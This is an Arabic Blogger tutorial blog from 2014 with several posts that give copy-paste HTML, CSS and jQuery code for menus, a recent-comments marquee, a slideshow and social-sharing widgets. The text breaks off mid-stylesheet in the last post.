My Ebd3at Services

4$5$

development

تطوير شكل الموقع وجعله ذو مظهر جذاب

5$6$

tech-support

دعم فنى شامل لمدة اسبوع قابل للتجديد

super
3$4$

Graphics

تصميم شعارات و ايقونات احترافيه

feedbacks

خدمه جميله جدا يا اخى , شكرا
العفو
نايس جدا والله حاجة جميلة جدا يسلمو
شكرا لثقتك بنا اخى سيد
خدمة ممتازة من شخص ممتاز جدااااا
.اتمنى ان اكون عند حسن ظنك
خدمة رائع من شخص ممتاز جدا
.شكرا لك اخى
خدمة ممتازة و شخص رائع
.انت الاروع اخى شكرا لثقتك بخدماتنا

انتظروا إبداعاتى بالشكل الجديد . (5%)

السبت، 31 مايو 2014

تعليقات
Peter Hany
قائمة رأسية احترافية متعددة الاستخدامات لمدونات بلوجر

كثير من المدونين يجدون بعض من الحيرة فى قائمة احترافية لمدوناتهم تمكنهم من عرض أقسام مدوناتهم بأسلوب جذاب حضارى لا يؤثر على رونق وجمال المدونة بأن تشغل جزء كبير من المدونة و يكون شكلها غير متناسق فلذلك عندما وجدت هذه القائمـــة فى أحد المدونات الأجنبية قمت بتعريبها وتنسيقها وقررت عمل موضوع بها فى مدونة ابداعاتى لكى تصل للعرب ويستفيد بها كل مدون عربى ولكى لا أطيل عليكم فى الوصف هيا بنا للمعاينة والشرح
♫ بعض اقتراحاتى لاستخدام  القائمة  ♫
(1) عرض أقسام مدونتك الرئيسية والفرعية 
(2) عرض صفحات مدونتك وتصنيفها بشكل منظم 
(3) عمل تبادل اعلانى نصى مع مدونتك وعرض المدونات به 
مع تصنيفها فى كل قسم رئيسى و فرعى من القائمة 

و الآن اتركك لكى ترى المعاينة وتحكم أين ستستخدمها ؟!

طبعا و بلا أدنى شك نالت على اعجابك 
فتابع معى للحصول على شكل مماثل لمدونتك 
شرح تركيب الاضافــة 
اذهب للوحة تحكم مدونتك >> التخطيط >> اضافة أداة >> Html/javascript 
انسخ الكود التالى وضعه بها 
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript" >$(document).ready(function(){
    $('li.title a').click(function(e){
        var dropDown = $(this).parent().next();
        $('.downlistie').not(dropDown).slideUp('slow');
        dropDown.slideToggle('slow');
        e.preventDefault();
    })
});</script>
   <style>ul.container{
    width:275px;
    padding:5px;font-family: 'Droid Arabic Kufi';
  text-align:center;
  text-decoration:none;
}
li.accoi-menu{
list-style:none;
    padding:1px;
    width:100%;}
li.title
{
border-radius:5px;
background:#1b9bff;
list-style:none;
padding:5px;
}
li.title a{
color:#ffffff;
    display:block;
 padding:5px;
    overflow:hidden;
        position:relative;
    width:100%;
     text-decoration:none;
}
.downlistie{
list-style:none;
    display:none;
    padding-top:5px;
    width:100%;text-decoration: none;
}
.downlistie li{
list-style: none;
background: #E6E3E3;
border-radius: 5px;
margin: 5px 5px 6px -32px;
padding: 4px 10px;
text-decoration: none;
}
.downlistie li:hover {
background:orange;text-decoration: none;
}
.downlistie li a{text-decoration: none;
{
text-decoration:none;
color:#333333;
}
.downlistie li a:hover {
text-decoration:none;
color:#333333;
}
</style><ul class="container">          <li class="accoi-menu">
              <ul>
                <li class="title"><a href="#" > مدونة ابداعاتى </a></li>          
                <li class="downlistie">
                    <ul>
    <li><a  href="#" >بلوجر</a></li>
    <li><a  href="#">اضافات بلوجر</a></li>
    <li><a href="#">قوالب بلوجر</a></li>
                    </ul></li></ul></li>
 
    <li class="accoi-menu">
       
              <ul>
                <li class="title"><a href="#" >مدونة ابداعاتى </a></li>
                <li class="downlistie">
                    <ul>
    <li><a href="#" >فيس بوك</a></li>
    <li><a href="#">جوجــل</a></li>
    <li><a href="#">ألعاب</a></li>              
                 </ul></li></ul></li>
 <li class="accoi-menu">
              <ul>
                <li class="title"><a href="#" >مدونة ابداعاتى </a></li>
                <li class="downlistie">
                    <ul>
    <li><a href="#" >قوالب بلوجر</a></li>
    <li><a href="#">حصريات</a></li>
    <li><a href="#">أفــــلام</a></li>
    <li><a href="#">منوعات</a></li>
         </ul></li></ul></li>
 <li class="accoi-menu">
              <ul>
                <li class="title"><a href="#" >مدونة ابداعاتى </a></li>
                <li class="downlistie">
                    <ul>
    <li><a href="#" >تصميم قوالب</a></li>
    <li><a href="#">بلــوجر</a></li>
    <li><a href="#">اضافات بلوجر</a></li>
    <li><a href="#">قوالب مدفوعة</a></li>                
                 </ul></li></ul></li>

 <li class="accoi-menu">
          <ul>
                <li class="title"><a href="#" > مدونة ابداعاتى </a></li>
                  <li class="downlistie">
                    <ul>
    <li><a href="#" >كوميديا</a></li>
    <li><a href="#">منوعات</a></li>
     <li><a href="#">من نحن</a></li>
    <li><a href="#">اتصل بنا</a></li>
              </ul></li></ul></li>
    </ul>  
♦  التعديلات المتاحة على القائمة  ♦ 
(1) لون الأقسام الرئيسية فى القائمة >> #1b9bff
(2) لون الأقسام الفرعية فى القائمة >> #E6E3E3
(3) لون القسم الفرعى بعد مرور الماوس عليه >> orange
(4) استبدل رمز # بالرابط المناسب للقسم الذى تريده 

قائمة رأسية احترافية لمدونتك مع خاصية الوصف 

فى موضوع سابق قدمت لكم قائمة أخرى رأسية لمدونات بلوجر
مع خاصية الوصف و رموز جانبية لكل قسم بشكل بسيط
و منتظم
المعاينة >> من هنا
احصل عليها >> من هنا


انتهى الموضوع بفضل اللــه تعالى و توفيقــه
 و لم يتبقى سوى تعليقاتكم المشجعة عليه و الاستفسارات الهادفة للتطوير و الوصول الى المراد بالأسلوب الحضارى بترك تعليق تشرح فيه ما تريد 

الجمعة، 30 مايو 2014

تعليقات
Peter Hany
اضافة أخر التعليقات متحركة بشكل مميز

تعددت أشكال اضافة أخر التعليقات فى بلوجر وكلها وبلا شك تقليدية للغاية ولا تلبى الغرض المطلوب فى اكساب المدونة شكل جميل ومميز يجذب الزائر لها وفى موضوعى هذا اقدم لكم هذه الاضافة متحركة بشكل مميز ومنسق فلابد أن اضافة أخر التعليقات لها أهمية فى قياس مدى التفاعل فى مدونتك ولذلك يلجأ الكثير من الزوار لاضافتها فى مدوناتهم لتلبية ذلك الغرض ولكى لا أطيل عليكم هيا بنا للمعاينة والشرح البسيط لتركيبها فى مدونتك 
بلا شك أنها اعجبتك أخى الزائر 
فلا تقلق ستحصل على شكل مماثل بالخطوات التاليــة 
شرح تركيب الاضافــــــــــة 
اذهب للوحة تحكم مدونتك >> التخطيط >> اضافة أداة 
>> Html/javascript 
انسخ الكود التالى وضعه بها 
<marquee direction="down" scrollamount="3" style="background- text-align: left; width:280px;height:340px;border:0px solid #000000;padding:0px" onmouseover="this.scrollAmount='3'" onmouseout="this.scrollAmount='3'">
<br/><style type="text/css"></style>
<script type="text/javascript">
//<![CDATA[
    // Recent Comments Settings
    var
 numComments  = 15,
 showAvatar  = true,
 avatarSize  = 40,
 roundAvatar = false,
 characters  = 60,
 showMorelink = false,
 moreLinktext = "More &#187;",
 defaultAvatar  = "https://lh3.googleusercontent.com/-RIC-7Z86S0E/UPYX-7IVLuI/AAAAAAAABTk/qx1fLgBjaJk/s40/user.png",
 hideCredits = true;
//]]>
</script>
<script type="text/javascript" src="http://widgets.way2blogging.org/blogger-widgets/w2b-recent-comments-gravatar.js"></script>
<script type="text/javascript" src=" http://myebd3at.blogspot.com/feeds/comments/default?alt=json&callback=w2b_recent_comments&max-results=15"></script></marquee>
<style type="text/css">    ul.w2b_recent_comments {
list-style: none;
margin: 0 0 15px 0;
padding: 0;
background: none;
width: 100%
 }
.w2b_recent_comments li {
background: #A9D0F5 !important;
display: block;
clear: both;
overflow: hidden;
list-style: none;
margin: 5px 0;
width: 100%;
 }
.w2b_recent_comments li .avatarImage {
padding: 2px;
border: 1px solid #e7e7e7;
background: #fff;
float: left;
margin: 0 4px 7px 3px;
position: relative;
overflow: hidden
}
.avatarRound {
-webkit-border-radius: 100px;
-moz-border-radius: 100px;
border-radius: 100px;
 }
.w2b_recent_comments li img {
padding: 0px;
position: relative;
overflow: hidden;
display: block
 }
.w2b_recent_comments li span {
text-shadow: 1px 1px 1px #fff;
margin-top: 4px;
color: #666;
display: block;
font-size: 12px;
padding: 2px 0 6px 0;
line-height: 1.2
 }
.w2b_recent_comments li a {color: #064f4c;text-shadow:1px 1px 1px #fff}
.w2b_recent_comments li a:hover {margin-left: 4px;}
</style>
</div>

التعديلات المتاحة على الاضافة 
♦  numComments  = 15  >> عدد التعليقات التى ستظهر
♦  showAvatar  = true  >> تفعيل ظهور تعليقات الغير معرف
♦  avatarSize  = 40  >> حجم تعليق الغير معرف
♦ scrollamount="3"  >> سرعة حركة الاضافـــــــــــة
♦ direction="down" >> اتجاه الحركـــــــــــــــــــــــة
♦ لا تنسى تغيير رابط مدونة ابداعاتى فى الكود السابق برابط مدونتك


تم الموضوع بحمد اللـــه
و أتمنى أن ينال الاعجاب والتقدير 
أى مشكلة اتركها فى تعليق

و أستودعكم اللـــه الذى لا تضيع ودائعــــه متابعى ابداعاتى الكرام 


السبت، 17 مايو 2014

تعليقات
Peter Hany
قائمه منسدله بلغة CSS3 بشكل جميل جدا + شرح التركيب

انقطعت عن التدوين فى مدونة ابداعاتى لفترة أنا و الأخ الفاضل محمود سعيد بسبب مشاغل الدراسة وهانحن انتهينا من الدراسة وعدنا لنقدم لكم الجديد والحصرى فى مجال البلوجر داعين اللــه التوفيف والسـداد 
فى موضوعى هذا سأقدم لكم قائمة منسدلة احترافية بتقنية css3 بشكلها الجميل والمميز مع شرح بسيط ومفصل للتركيب بدون أخطاء واستخدام هذه القائمة فى مدونتك يعتبر أهمية قصوى لأنها وبلاشك ستكسب مدونتك رونق وجمال غير عادى ولكم المعاينة والشرح

قبل كل شى نتطرق للمعاينة 
لمعاينة القائمه اضغط هنا

الأكـــــــــــــواد المطلوبة 
(1) أكواد الـــ CSS3
<style>
.menu,.sub-menu {
list-style-type: none;
margin: 0;
padding: 0;
 }

.menu li {
background-color: #3E454D;
cursor: pointer;
position: relative;
transition: background-color .5s;
-moz-transition: background-color .5s;
-o-transition: background-color .5s;
-webkit-transition: background-color .5s;
 }

.menu li:hover {background-color: #353B41 !important;}

.menu a {
color: #FFF;
display: block;
font-family: 'Open Sans', sans-serif;
height: 100%;
margin: 0 5px;
overflow: hidden;
position: relative;
text-align: center;
text-decoration: none;
text-transform: uppercase;
word-wrap: break-word;
 }

.menu a:hover {color: #FFF;}

.menu {height: 90px;}

.menu > li {
float: left;
height: 100%;
width: 15%;
width: calc((100% - 90px) / 5);
width: -moz-calc((100% - 90px) / 5);
width: -webkit-calc((100% - 90px) / 5);
}

.menu > li.home {
background: #3E454D url(http://s26.postimg.org/qbf4q4j9h/home.png) center no-repeat;
width: 90px;
}

.menu > li.current {
background-color: #F2762E !important;
box-shadow: none !important;
-moz-box-shadow: none !important;
-webkit-box-shadow: none !important;
}

.menu > li:not(:first-child) {
box-shadow: inset 1px 0 0 0 #272B31, inset 2px 0 0 0 #434A52;
-moz-box-shadow: inset 1px 0 0 0 #272B31, inset 2px 0 0 0 #434A52;
-webkit-box-shadow: inset 1px 0 0 0 #272B31, inset 2px 0 0 0 #434A52;
}

.menu > li.home > a {color: transparent !important;}

.menu > li > a > span {
left: 0;
position: absolute;
right: 0;
top: 50%;
transform: translate(0, -50%);
-ms-transform: translate(0, -50%);
-moz-transform: translate(0, -50%);
-o-transform: translate(0, -50%);
-webkit-transform: translate(0, -50%);
}

.sub-menu {
max-height: 0;
min-width: 100%;
overflow: hidden;
position: absolute;
top: 100%;
transition: max-height .5s .2s;
-moz-transition: max-height .5s .2s;
-o-transition: max-height .5s .2s;
-webkit-transition: max-height .5s .2s;
 }

li:hover > .sub-menu {max-height: 600px;}

.sub-menu li {height: 60px;}

.sub-menu a {
line-height: 60px;
transition: color .5s;
-moz-transition: color .5s;
-o-transition: color .5s;
-webkit-transition: color .5s;
white-space: nowrap;
 }

.sub-menu li.current a,.sub-menu a:hover {color: #F2762E !important;}
</style>
(2) كود الــ HTML 
<div id="wrapper">
<nav>
<ul class="menu">
<li><a href="#"><span>قسم</span></a></li>
<li><a href="#"><span>+قسم</span></a>
<ul class="sub-menu">
<li><a href="#">قسم فرعى</a></li>
<li><a href="#">قسم فرعى</a></li>
<li><a href="#">قسم فرعى</a></li>
</ul>
</li>
<li><a href="#"><span>قسم</span></a></li>
<li><a href="#"><span>قسم</span></a></li>
<li><a href="#"><span>قسم</span></a></li>
<li class="home current"><a href="#"><span>Home</span></a></li>
</ul>
</nav>
</div>

شرح التركيب
(1)
  تركيب القائمة من التخطيط فى لوجة التحكم
اذهب للتخطيط >> اضافة أداة >> Html/javascript
ثم انسخ الأكواد السابقة ( CSS3 ، HTML )
وضعهم فى الأداة وقم بالحفظ 

(2)
تركيب الأداة من القالب فى لوجة التحكم 
حرر قالب مدونتك >> ابحث عن أكواد القائمة القديمة 
استبدل الأكواد القديمة بالجديدة 
التعديلات على القائمة
(1) فى كود الـ HTML استبدل الكلمات العربية بما يناسبك
(2) لتغيير لون الخط الافتراضى ( الابيض ) لأى لون آخر
افتح كود CSS ثم اضغط على } CTRL + F للبحث 
قم بالبحث عن هذا الجزء من الكود .menu a {
ستجد اسفله مباشرة هذا الكود #fff
استبدله بكود اى لون تريده >> يمكن الحصول على اكواد الالوان >>  من هنا
(3) لتغيير اللون بعد وقوف الماوس علي الخط ( الــ HOVER )
افتح كـــــــود الــ CSS ثم ابحث عن هذا الجزء .menu a:hover {
واستبدل اللون كما ذكرت سابقا 
(4) من لديه اى تعديلات خاصـــة يترك تعليقه 

كلمة شكر من الأعضاء تجعلنى ازداد فى  العطاء

الأحد، 4 مايو 2014

تعليقات
Peter Hany
حصريا زر مشاركة المدونة على الفيس بوك المنزلق

لاشك أن الفيس بوك يمثل أكثر مصادر الزيارات للعديد من المدونات فلذلك لابد عليك أن تعزز تلك الزيارات وزيادتها من خلال اضافات الفيس بوك لمدونتك ومنها ما سأقدمه اليوم وهو زر مشاركة المدونة على الفيس بوك المنزلق بتقنيته الاحترافية التى وبلاشك ستعجبك وتعجب متابعيك بفضل الله والاضافة لها من المميزات ما يجعلها افضل ادوات الفيس بوك لمدونات بلوجر لأنها لا تشغل مساحة كبيرة من المدونة جيث أنها منزلقة من الجانب الأيمن للمدونة وخفيفة التحميل فلا تؤثر على سرعة المدونة ولكى لا أطيل هيا بنا للمعاينة والشرح
معاينة الاضافة
ربما أعجبتك !! 
لا تقلق ستحصل على مثلها بالخطوات التالية 

طريقة التركيب 

اذهب للوحة التحكم >> التخطيط >> اضافة أداة 
HTML/JAVASCRIPT 
ضع بها الكود التالى
<b:if cond='data:blog.pageType == "item"'>
<style>
/* Widget by myebd3at.blogspot.com */
#fixed-share {
  background: none repeat scroll 0 0 #4C6699;
  border-bottom: 3px solid #30476F;
  bottom: 60px;box-shadow: 0 8px 8px #888888;
  font-family: Arial;font-size: 16px;
  padding: 15px 30px 15px 15px;position: fixed;
  right: -147px;text-align: left;
  text-transform: uppercase;
  transition: all 1s ease 0s;z-index: 10;color:white;}
#fixed-share:hover {right: 0}
#fixed-share:hover > #share-box {right: 147px}
#share-box {background: none repeat scroll 0 0 #4C6699;bottom: 72px;box-shadow: 0 8px 8px #888888;height: 40px;position: fixed;right: 1px;text-align: center;transition: all 1s ease 0s;width: 40px;}
</style>
 <div id="fixed-share">
 <div id="share-box">
<img src="http://s10.postimg.org/s1a8ghl6t/Fb_Logo.png" />
</div>
<span> شارك المدونة <br/> <script>(function(d){ var js, id =
'facebook-jssdk'; if (d.getElementById(id)) {return;} js =
d.createElement('script'); js.id = id; js.async = true; js.src =
"//connect.facebook.net/en_US/all.js#xfbml=1";
d.getElementsByTagName('head')[0].appendChild(js);
}(document));</script>  <fb:share-button expr:href='data:post.url'
type='button_count'/> </fb:share-button>
</span></div>
<!-- Widget  by myebd3at.blogspot.com -->
</b:if>
ثم قم بحفظ الأداة  

تعديلات بسيطة فى الكود 

(1) استبدل كلمة شارك المدونة بما يناسبك
(2) استبدل الصــــــــــــــــــــورة بما يناسبك
<img src="http://s10.postimg.org/s1a8ghl6t/Fb_Logo.png" />
√ الى لقاء آخر فى موضوع جديد من مدونة ابداعاتى √
الثلاثاء، 29 أبريل 2014

تعليقات
Peter Hany
سلايد شو احترافى للصور لمدونات بلوجر 2014

وتتواصل الحصريات من مدونة ابداعاتى فى موضوع جديد وحصرى عن اضافة سلايدر شو احترافى لمدونتك بشكل بسيط ومنسق لا يؤثر على سرعة مدونتك على خلاف غيره لذلك قررت تقديمه لكم فى هذا الموضوع متابعينا الكرام والسلايدر شو له فوائد كثيرة ربما يجهلها بعضنا فهو يعمل كأحد عوامل جذب الزوار فى أغلب المدونات ولكى تستفيد منه أبلغ استفادة لابد أن تضع به أفضل ما لديك من مواضيع ولكى لا أطيل عليكم هيا بنا للمعاينة وطريقة التركيب 
بالفعل قد نال اعجابك 
لا تقلق ستحصل على شكل مماثل لمدونتك 

♫ طريقة التركيب  ♫

الخطوة الأولى 

اذهب للوحة تحكم مدونتك >> القالب >> تحرير HTML 
ابحث عن وسم  <head> 
وذلك بالضغط على CTRL + F من لوحة المفاتيح 
ضع تحته مباشرة هذا الكود


<style>.image-container{
width: 600px;
height: 401px;
position: relative;
margin: 25px auto;
box-shadow: 0 0 2px 1px #525447;
border : 12px solid #fff;
}
input[type='radio']{
display: none;
}
label{
position: absolute;
width: 35px;
font-size: 22px;
text-align: center;
padding: 5px 0;
background: #5EAEFF;
border-radius: 50%;
z-index: 60;
top: 430px;
display: block;
color : #fff;
box-shadow:0 0 0 4px rgba(165, 173, 180, 0.53);
cursor: pointer;
-webkit-transition : all .5s ease;
}
label[for='button-1']{
left: 210px;
}
label[for='button-2']{
left: 260px;
}
label[for='button-3']{
left: 308px;
}
label[for='button-4']{
left: 356px;
}

.image > *{
width: 150px;
height: 401px;
position: relative;
float: left;
}
.part1 > * , .part2 > * , .part3 > * , .part4 > *{
position: absolute;
width: inherit;
height : inherit;
}
input[type='radio']:checked+label{
box-shadow:0 0 0 4px rgba(170, 173, 161, 0.35), inset 0 0 10px 1px #8C8D97;
color : #5EAEFF;
background: #fff;
}
input[type='radio']#button-1:checked ~ .image .pi1 {
z-index: 18;
width : inherit;
-webkit-transition : width .6s ease-in-out ;
}
input[type='radio']#button-1:checked ~ .image .pi2 , .pi3 , .pi4 {
width : 0;
-webkit-transition : width 0 ease-in-out .6s;
}
input[type='radio']#button-2:checked ~ .image .pi2 {
z-index: 18;
width : inherit;
-webkit-transition : width .6s ease-in-out;
}
input[type='radio']#button-2:checked ~ .image .pi1 , .pi3 , .pi4 {
width: 0;
-webkit-transition : width 0 ease-in-out .6s;
}
input[type='radio']#button-3:checked ~ .image .pi3 {
z-index: 18;
width : inherit;
-webkit-transition : width .6s ease-in-out;
}
input[type='radio']#button-3:checked ~ .image .pi1 , .pi2 , .pi4 {
width: 0;
-webkit-transition : width 0 ease-in-out .6s;
}
input[type='radio']#button-4:checked ~ .image .pi4 {
z-index: 18;
width : inherit;
-webkit-transition : width .6s ease-in-out;
}<style/>

الخطوة الثانيـــــــــــــة 


ثم انتقل للتخطيط >> اضافة أداة >> html/javascript
( حدد مكان الاضافة فى المكان الذى تريد ظهور السلايدر فيه )
أو حدد مكان السلايدر من القالب وضع الكود 
ضع بها كود الـ HTML  التالى 
<div class="image-container">
<input type="radio" id='button-1' name='controls' checked />
<label for="button-1">1</label>
<input type="radio" id='button-2' name='controls' />
<label for="button-2">2</label>
<input type="radio" id='button-3' name='controls' />
<label for="button-3">3</label>
<input type="radio" id='button-4' name='controls' />
<label for="button-4">4</label>
<div class="image">
<div class="part1"><div class="pi1" style="background:url(http://i.cubeupload.com/g1Ywsi.png) 0 0;"></div>
<div class="pi2" style="background:url(http://i.cubeupload.com/fttETX.png) 0 0;"></div>
<div class="pi3" style="background:url(http://i.cubeupload.com/MiahXu.png) 0 0;"></div>
<div class="pi4" style="background:url(http://i.cubeupload.com/PxgSjm.png) 0 0;"></div>
</div>
<div class="part2"><div class="pi1" style="background:url(http://i.cubeupload.com/g1Ywsi.png) -150px 0;"></div>
<div class="pi2" style="background:url(http://i.cubeupload.com/fttETX.png) -150px 0;"></div>
<div class="pi3" style="background:url(http://i.cubeupload.com/MiahXu.png) -150px 0;"></div>
<div class="pi4" style="background:url(http://i.cubeupload.com/PxgSjm.png) -150px 0;"></div>
</div>
<div class="part3"><div class="pi1" style="background:url(http://i.cubeupload.com/g1Ywsi.png) -300px 0;"></div>
<div class="pi2" style="background:url(http://i.cubeupload.com/fttETX.png) -300px 0;"></div>
<div class="pi3" style="background:url(http://i.cubeupload.com/MiahXu.png) -300px 0;"></div>
<div class="pi4" style="background:url(http://i.cubeupload.com/PxgSjm.png) -300px 0;"></div>
</div>
<div class="part4"><div class="pi1" style="background:url(http://i.cubeupload.com/g1Ywsi.png) -450px 0;"></div>
<div class="pi2" style="background:url(http://i.cubeupload.com/fttETX.png) -450px 0;"></div>
<div class="pi3" style="background:url(http://i.cubeupload.com/MiahXu.png) -450px 0;"></div>
<div class="pi4" style="background:url(http://i.cubeupload.com/PxgSjm.png) -450px 0;"></div>
</div>
</div>
</div>

ثم غير روابط الصور بما يناسبك 
الأن قد انتهى الموضوع 
اى استفسار اتركه فى تعليق

السبت، 19 أبريل 2014

تعليقات
Peter Hany
اضافة ازرار المشاركات الاجتماعية باحجام مختلفة ومتحركة

السلام عليكم ورحمه الله وبركاته >> مرحبا بكم في مدونة ابداعاتى عود كريم مع موضوع جديد من المدونة وهو اضافة ازرار المشاركات الاجتماعية باحجام مختلفة 3 اشكال مختلفة اضافة كبيرة وتكون علي الجانب الايسر ، واضافة متوسطة الحجم ، واضافة صغيرة الحجم ، وبه ازرار فيسبوك، تويتر وجوجل بلس ، كما ان الازرار وضحة جدا للزائر فلك حرية الاختيار فى اختيار الاستايل الذى يناسب مدونتك وتركيبه بهذه الطريقة السلسة التى لا تستهلك منك اى جهد مع ملاحظة ان كل اضافة يوجد اسفلها معانة مباشرة لها 
ثم بعد ذلك اختار اضافة اداة كما ظهر في الصورة
بعد ذلك اختار html /javascript كما موضح في الصورة
ثم اختار الاضافة الذي تريده والصق الكود في المربع

الشكل الاول
معاينة الاضافة 
<!-- AddThis Button BEGIN -->
<div class="addthis_toolbox addthis_floating_style addthis_counter_style" style="left:50px;top:50px;">
<a class="addthis_button_facebook_like" fb:like:layout="box_count"></a>
<a class="addthis_button_tweet" tw:count="vertical"></a>
<a class="addthis_button_google_plusone" g:plusone:size="tall"></a>
<a class="addthis_counter"></a>
</div>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=xa-50256c9955de3d1e"></script>
<!-- AddThis Button END -->
الشكل الثاني
<!-- AddThis Button BEGIN -->
<div class="addthis_toolbox addthis_floating_style addthis_32x32_style" style="left:50px;top:50px;">
<a class="addthis_button_preferred_1"></a>
<a class="addthis_button_preferred_2"></a>
<a class="addthis_button_preferred_3"></a>
<a class="addthis_button_preferred_4"></a>
<a class="addthis_button_compact"></a>
</div>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=xa-50256cd215773286"></script>
<!-- AddThis Button END -->
الشكل الثالث
<!-- AddThis Button BEGIN -->
<div class="addthis_toolbox addthis_floating_style addthis_16x16_style" style="left:50px;top:50px;">
<a class="addthis_button_preferred_1"></a>
<a class="addthis_button_preferred_2"></a>
<a class="addthis_button_preferred_3"></a>
<a class="addthis_button_preferred_4"></a>
<a class="addthis_button_compact"></a>
</div>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=xa-50256cf13ad74b07"></script>
<!-- AddThis Button END -->:
اختار الشكـــــــــــــــــل الذي تريده
إن وفقت فهذا من اللــه وإن أخطاءت فمنى ومن  والشيطان

دمتم فى رعاية الله متتبعى مدونة ابداعاتى الكرام 

الأحد، 13 أبريل 2014

تعليقات
Peter Hany
اضافة مواقع التواصل الاجتماعى مع تأثير التلميحات

اليوم فى تواصل من حصريات مدونة ابداعاتى أقدم لمتتبعى مدونتى الكرام اضافة مواقع التواصل الاجتماعى مع تأثير التلميحات الاحترافى بشكلها المنبثق الجميل والاضافة جميلة جدا وأتمنى أن تنال اعجابكم متتبعى مدونة ابداعاتى الكرام ولا شك ان أداة مواقع التواصل الاجتماعى تعتبر من أفصل الادوات لمدونتك فهى التى تساهم بأكبر قدر فى سرعة اشهار مدونتك ووصولها الى اكبر عدد من الجماهير والمتتبعين فلذلك يجب ان تحتوى مدونة على هذه الأداة ولكن ليس بشكل تقليدى غير مشجع على المتابعة بل بشكل جميل وأنيق يجذب الزائر ويجعله ينضم لمتتبعيك على جميع مواقع التواصل الاجتماعى ولكى لا أطيل عليكم متتبعى مدونة ابداعاتى الكرام فهيا بنا للمعاينة والشرح 
بعد معاينة الاضافة هيا بنا لشرح التركيب المبسط لها 
شرح تركيب الاضافة 
اذهب لتخطيط مدونتك >> اضافة أداة >> HTML/JAVASCRIPt
ضع بها الكود التالى ثم قم بالحفظ 
<style type="text/css" >#followq {clear: both;width: 300px;height: 40px;margin:39px 0px 11px 10px;}
#followq ul { margin: 0px;padding: 0px;}
#followq ul li {position: relative;list-style-type: none;display: inline-block;}
.ikonz .ikonz-tooltip {display: block;padding: 5px 10px;position: absolute;bottom: 100%;
left: 0px;z-index: 77;margin-bottom: 40px;background-color: #141414;font-size:12px;
color: white;text-align: center;-webkit-box-shadow: 0px 1px 2px rgba(0, 0, 0, 0.4);
-moz-box-shadow: 0px 1px 2px rgba(0,0,0,0.4);box-shadow: 0px 1px 2px rgba(0, 0, 0, 0.4);
-webkit-border-radius: 5px;-moz-border-radius: 5px;
border-radius: 5px;opacity: 0;
visibility: hidden;-webkit-transition: all 0.26s ease-out;
-moz-transition: all 0.26s ease-out;
-ms-transition: all 0.26s ease-out;
-o-transition: all 0.26s ease-out;
transition: all 0.26s ease-out;}
.ikonz .ikonz-tooltip:before {content: "";width: 0px;height: 0px;border: 7px solid transparent;border-top-color: #141414;position: absolute;top: 100%;left:42%;}
.ikonz:hover .ikonz-tooltip {visibility:visible;width: 76px;opacity:1;margin:16px 12px 6px -28px;
z-index:99999;}
#followq .ikonz {background: url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaE9WcWG7XnH_mEcCWVeCwO6sSM5k8Q4xT5w3SZoOX0SXF2r0KKsuVVmekJH0VN_TnWezlv7J7Rbh-nWppDFvI4uYFvI_zlKbQcOihzaSWAps9DXttTAv0hGVgZrg4xrKXfFqtj-akLQM/s1600/social3d.png') 0 0 no-repeat;display: block;
color: #141414;float: none;height: 39px;width: 39px;line-height:20px;position: relative;z-index: 5;}
#followq .ikonz:active {bottom: -2px;}
#followq .fb {background-position: 0px 0px;}
#followq .twitter {background-position: -40px 0px;}
#followq .google {background-position: -80px 0px;}
#followq .delcis {background-position: -120px 0px;}
#followq .stumble {background-position: -200px 0px;}
#followq .mail {background-position: -280px 0px;}
#followq .rss {background-position: -360px 0px;}
</style><div id="followq"><ul>
<li><a href="رابط الفيس بوك " class="ikonz fb"><span class="ikonz-tooltip"> فيس بوك </span></a></li>
<li><a href="رابط تويتر " class="ikonz twitter"><span class="ikonz-tooltip"> تويتر</span></a></li>
<li><a href="رابط جوجل " class="ikonz google"><span class="ikonz-tooltip"> جوجل </span></a></li>
<li><a href="رابط صفحة التواصل" class="ikonz mail"><span class="ikonz-tooltip"> البريد</span></a></li>
<li><a href="رابط الخلاصات" class="ikonz rss"><span class="ikonz-tooltip"> الخلاصة </span></a></li>
</ul>
</div>

استبدل الروابط المحددة فى الكود بما يناسبك 

√ فى انتظار تعليقاتكم المشجعة على تقديم المزيد لخدمتكم √
الأربعاء، 26 مارس 2014

تعليقات
Peter Hany
اضافة المشاركة الاجتماعية المنزلقة لمدونات بلوجر

بعد طول غياب عن التدوين فى مدونة ابداعاتى عدت لكم باضافات جميلة جدا جدا أدعو الـلــه أن تنال على اعجاب جميع متتبعى المدونة الكرام وهى اضافة أداة المشاركة الاجتماعية لمدونات بلوجر بشكل منزلق من جانب المدونة وهذه الاضافة بسيطة جدا ولن تؤثر على منظر مدونتك إلا بالشكل الاحترافى وسلاسة الحركة المنزلقة لها بتقنية الجاكورى وهذا ما سيضفى جانب الجمال والأناقة على مدونتك 

مميزات الاضافــــــــــــــــة

(1) خفيفة جدا ولن تؤثر على سرعة المدونة 
(2) مفيدة لنشر المدونة على مواقع التواصل الاجتماعى 
(3) حركتها الانسيابية ستضفى الجمال على مدونتك 
(4) سهلة التركيب على قالب مدونتـــــــــــــــــك 
(5) لا تشغل مساحة كبيرة فى مدونتك على خلاف غيرها 
ويمكنك لمس كل هذه المميزات من خلال المعاينة المباشرة للاضافة 
شرح تركيب الاضافة 
اذهب للوحة التحكم >> القالب >> تحرير HTML

الخطوة الأولى
ابحث عن </head>
ضع اسفله مباشرة هذا الكود 
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js" type="text/javascript"></script>
الخطوة الثانية 
اذهب للتخطيط >> اضافة أداة >> HTML/JAVASCRIPT
ضع بها الكــــــــــــــــود المناسب وقم بالحفظ
كود الاضافة لتظهر على يسار المدونة 
<script type="text/javascript">
    /*<![CDATA[*/
    jQuery(document).ready(function () {
        jQuery(".hbslidebox").hover(function () {
            jQuery(this).stop().animate({
                left: "0"
            }, "medium");
        }, function () {
            jQuery(this).stop().animate({
                left: "-70"
            }, "medium");
        }, 500);
    });
    /*]]>*/
</script>
<style type="text/css">
    .hbslidebox {
